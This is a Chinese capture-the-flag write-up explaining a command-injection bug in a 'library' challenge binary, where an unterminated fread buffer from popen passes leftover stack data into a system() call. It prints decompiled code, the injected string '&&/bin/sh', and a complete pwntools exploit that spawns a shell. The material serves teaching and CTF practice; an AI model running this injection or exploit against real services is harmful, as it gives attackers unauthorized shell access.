关于读取popen输出结果时未截断字符串导致的命令行注入详解

所属分类: 软件编程 / C 语言 阅读数: 143
收藏 0 赞 0 分享

0x00 前言

这种命令行注入在pwn中出现的比较少,所以记录分享一下。

0x01 命令行注入介绍

熟悉web安全的话就知道,如果对特殊字符过滤不当,会引发sql注入或者xss等安全漏洞。其中,命令行注入较为严重,因为可以直接拿到漏洞程序当前权限的OSshell。

然而,命令行注入不仅在web中会出现,在C语言程序中,也会出现命令行注入的漏洞。比方说这道pwn题,就是调用system时,没有对输入数据进行\0截断以及对特殊字符处理不当而导致的。

命令行注入相对于其他二进制漏洞相比利用比较简单,比方说这道题,举个例子:

sprintf(&s, "du -sh lib/'%s'", v6);
system(&s);

其中设计初衷,v6应当是一个合法的文件名。但是如果攻击者恶意操控v6,比方说,让v6为:'&&/bin/sh'
进行sprintf拼接后,system所执行的命令为:

du -sh lib/''&&/bin/sh''

这里有两个linux命令行的知识:

&&,这是拼接两个命令,如果我们执行 command1&&command2,那么等价于先执行command1在执行command2。其中命令跟&&之间不必加空格。

在命令后不加空格的''(两个单引号)会被忽略,比如ls''等价于ls,/bin/sh''等价于/bin/sh,du -sh lib/''等价于du -sh lib/(即,实际传进去的参数是lib/不是lib/'')

所以,执行上面的命令,相当于先执行了

du -sh lib/

再执行

/bin/sh

所以,可以getshell。

0x02 题目

题目所给的是一个library的服务,可以上传book,查看books,清除books。其中,book存放在lib/文件夹中。

0x03 漏洞点

char *list_books()
{
 FILE *v0; // eax
 char *result; // eax
 char s; // [esp+4h] [ebp-C14h]
 char ptr; // [esp+804h] [ebp-414h]
 char *v4; // [esp+C04h] [ebp-14h]
 FILE *stream; // [esp+C08h] [ebp-10h]
 char *v6; // [esp+C0Ch] [ebp-Ch]
 v0 = popen("ls lib/", "r");
 stream = v0;
 result = (char *)fread(&ptr, 1u, 0x400u, v0);
 v4 = result;
 if ( result )
 {
 v6 = strtok(&ptr, delims);
 result = (char *)send("Book list:\nSize\tE-book\n");
 while ( v6 )
 {
 sprintf(&s, "du -sh lib/'%s'", v6);
 //很明显,这里存在可能的命令行注入
 system(&s);
 fflush(stdout);
 result = strtok(0, delims);
 v6 = result;
 }
 }
 return result;

其中list_books代码如上,v6来自fread从popen中的返回结果。他本来想做的是输出每个文件的大小,但是fread后没有用\0截断。所以调用strtok时,可能会读到fread后面的垃圾数据(当然如果可以操控的话就不是垃圾数据了)

sprintf的栈溢出会比较难利用,因为&s比较大,有0x800,而v6是从&ptr里面strtok出来的,而&ptr更小,只有0x400。所以应该没法很好的利用。

0x04 操控垃圾数据

那么,我们怎么去操控&ptr中的垃圾数据呢?这个时候看看另外一个函数

int upload_book()
{
 char *v1; // eax
 int v2; // eax
 char buf[1024]; // [esp+Ch] [ebp-42Ch]
 char s[20]; // [esp+40Ch] [ebp-2Ch]
 FILE *stream; // [esp+420h] [ebp-18h]
 char *dest; // [esp+424h] [ebp-14h]
 size_t v7; // [esp+428h] [ebp-10h]
 int v8; // [esp+42Ch] [ebp-Ch]
 if ( book_counter > 10 )
 return send("too many books\n");
 send("Book filename: ");
 v8 = __isoc99_scanf("%20s", s);
 if ( v8 != 1 )
 return send("Wrong title format\n");
 v7 = strlen(s);
 if ( strcmp(&s[v7 - 3], ".bk") )
 return send("The name needs to end with '.bk'\n");
 send("e-book contents: \n");
 read(0, buf, 0x400u);
 if ( *(_DWORD *)buf != 'BBBB' )
 return send("Not an e-book\naborting...\n");
 v1 = (char *)malloc(0x18u);
 dest = v1;
 *(_DWORD *)v1 = 0x2F62696C;
 v1[4] = 0;
 strcat(dest, s);
 stream = fopen(dest, "w");
 if ( !stream )
 return send("Bad book filename\n");
 v2 = book_counter++;
 books[v2] = dest;
 fwrite(buf, 1u, 0x400u, stream);
 return fclose(stream);
}

其中,这在栈中也会分配0x400个字节,并且我们可以写入。

并且,调用完这个函数之后,清除栈空间时,只是简单地add esp,xxx,并不会清空其中数据。然后,再调用存在命令行注入的函数并分配栈空间时,也只是单纯地sub esp,xxx,也不会清空数据。在C语言中,如果此时对不赋值的局部变量直接访问的话,是UB行为。但是,从二进制安全的角度看的话,便是可利用的点了。其中这道题,本身就是一个局部字符串读取后未截断而造成的UB,然而我们便可以利用这个。

那么来试试:

很明显,BBBB123456789123456789123456789123456789AAAA的后面89123456789AAAA被拼接到du -sh lib/'%s'中了

动态调试看一下的话

第一次在system停下

第二次在system停下

所以很明显,只要把89123456789AAAA改成

'&&/bin/sh'\x00

就可以getshell了。如前面所说。

其中,\x00是我们自己手动截断,不然strtok还会继续往后读。

所以最后exp

#BBBB1234567891234567891234567'&&/bin/sh'
g_local = True
 
from pwn import *
 
if g_local:
 sh=process("./library")
else:
 sh=remote("xxxx",1234)
 
 
def upload_book(filename, content):
 filename += ".bk"
 sh.send("1\n")
 sh.recvuntil("Book filename: ")
 print filename
 sh.send(filename + "\n")
 sh.recvuntil("e-book contents: \n")
 sh.send(content)
 sh.recvuntil("Enter command: ")
 
def list_books_and_shell():
 sh.send("2\n")
 sh.interactive()
 
upload_book("1", "BBBB1234567891234567891234567\'&&/bin/sh\'\x00")
list_books_and_shell()

0x05 后言

还有一点要注意,pwndbg好像会默认在fork时跟子进程,所以要在~/.gdbinit的最后面(加载pwndbg之后)加上set follow-fork-mode parent。并且,&&与命令之间不能加空格。因为他strtok是通过空格和换行分断字符串的,加了空格我们的payload就会被strtok分割开。

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,如果有疑问大家可以留言交流,谢谢大家对脚本之家的支持。

更多精彩内容其他人还在看

用标准c++实现string与各种类型之间的转换

这个类在头文件中定义, < sstream>库定义了三种类:istringstream、ostringstream和stringstream,分别用来进行流的输入、输出和输入输出操作。另外,每个类都有一个对应的宽字符集版本
收藏 0 赞 0 分享

C++如何通过ostringstream实现任意类型转string

再使用整型转string的时候感觉有点棘手,因为itoa不是标准C里面的,而且即便是有itoa,其他类型转string不是很方便。后来去网上找了一下,发现有一个好方法
收藏 0 赞 0 分享

C/C++指针小结

要搞清一个指针需要搞清指针的四方面的内容:指针的类型,指针所指向的类型,指针的值或者叫指针所指向的内存区,还有指针本身所占据的内存区
收藏 0 赞 0 分享

C++ 类的静态成员深入解析

在C++中类的静态成员变量和静态成员函数是个容易出错的地方,本文先通过几个例子来总结静态成员变量和成员函数使用规则,再给出一个实例来加深印象
收藏 0 赞 0 分享

C++类的静态成员初始化详细讲解

通常静态数据成员在类声明中声明,在包含类方法的文件中初始化.初始化时使用作用域操作符来指出静态成员所属的类.但如果静态成员是整型或是枚举型const,则可以在类声明中初始化
收藏 0 赞 0 分享

C++类静态成员与类静态成员函数详解

静态成员不可在类体内进行赋值,因为它是被所有该类的对象所共享的。你在一个对象里给它赋值,其他对象里的该成员也会发生变化。为了避免混乱,所以不可在类体内进行赋值
收藏 0 赞 0 分享

C++中的friend友元函数详细解析

友元可以是一个函数,该函数被称为友元函数;友元也可以是一个类,该类被称为友元类。友元函数的特点是能够访问类中的私有成员的非成员函数。友元函数从语法上看,它与普通函数一样,即在定义上和调用上与普通函数一样
收藏 0 赞 0 分享

static全局变量与普通的全局变量的区别详细解析

以下是对static全局变量与普通的全局变量的区别进行了详细的分析介绍,需要的朋友可以过来参考下,希望对大家有所帮助
收藏 0 赞 0 分享

C++ explicit关键字的应用方法详细讲解

C++ explicit关键字用来修饰类的构造函数,表明该构造函数是显式的,既然有"显式"那么必然就有"隐式",那么什么是显示而什么又是隐式的呢?下面就让我们一起来看看这方面的知识吧
收藏 0 赞 0 分享

教你5分钟轻松搞定内存字节对齐

随便google一下,人家就可以跟你解释的,一大堆的道理,我们没怎么多时间,讨论为何要对齐.直入主题,怎么判断内存对齐规则,sizeof的结果怎么来的,请牢记以下3条原则
收藏 0 赞 0 分享
查看更多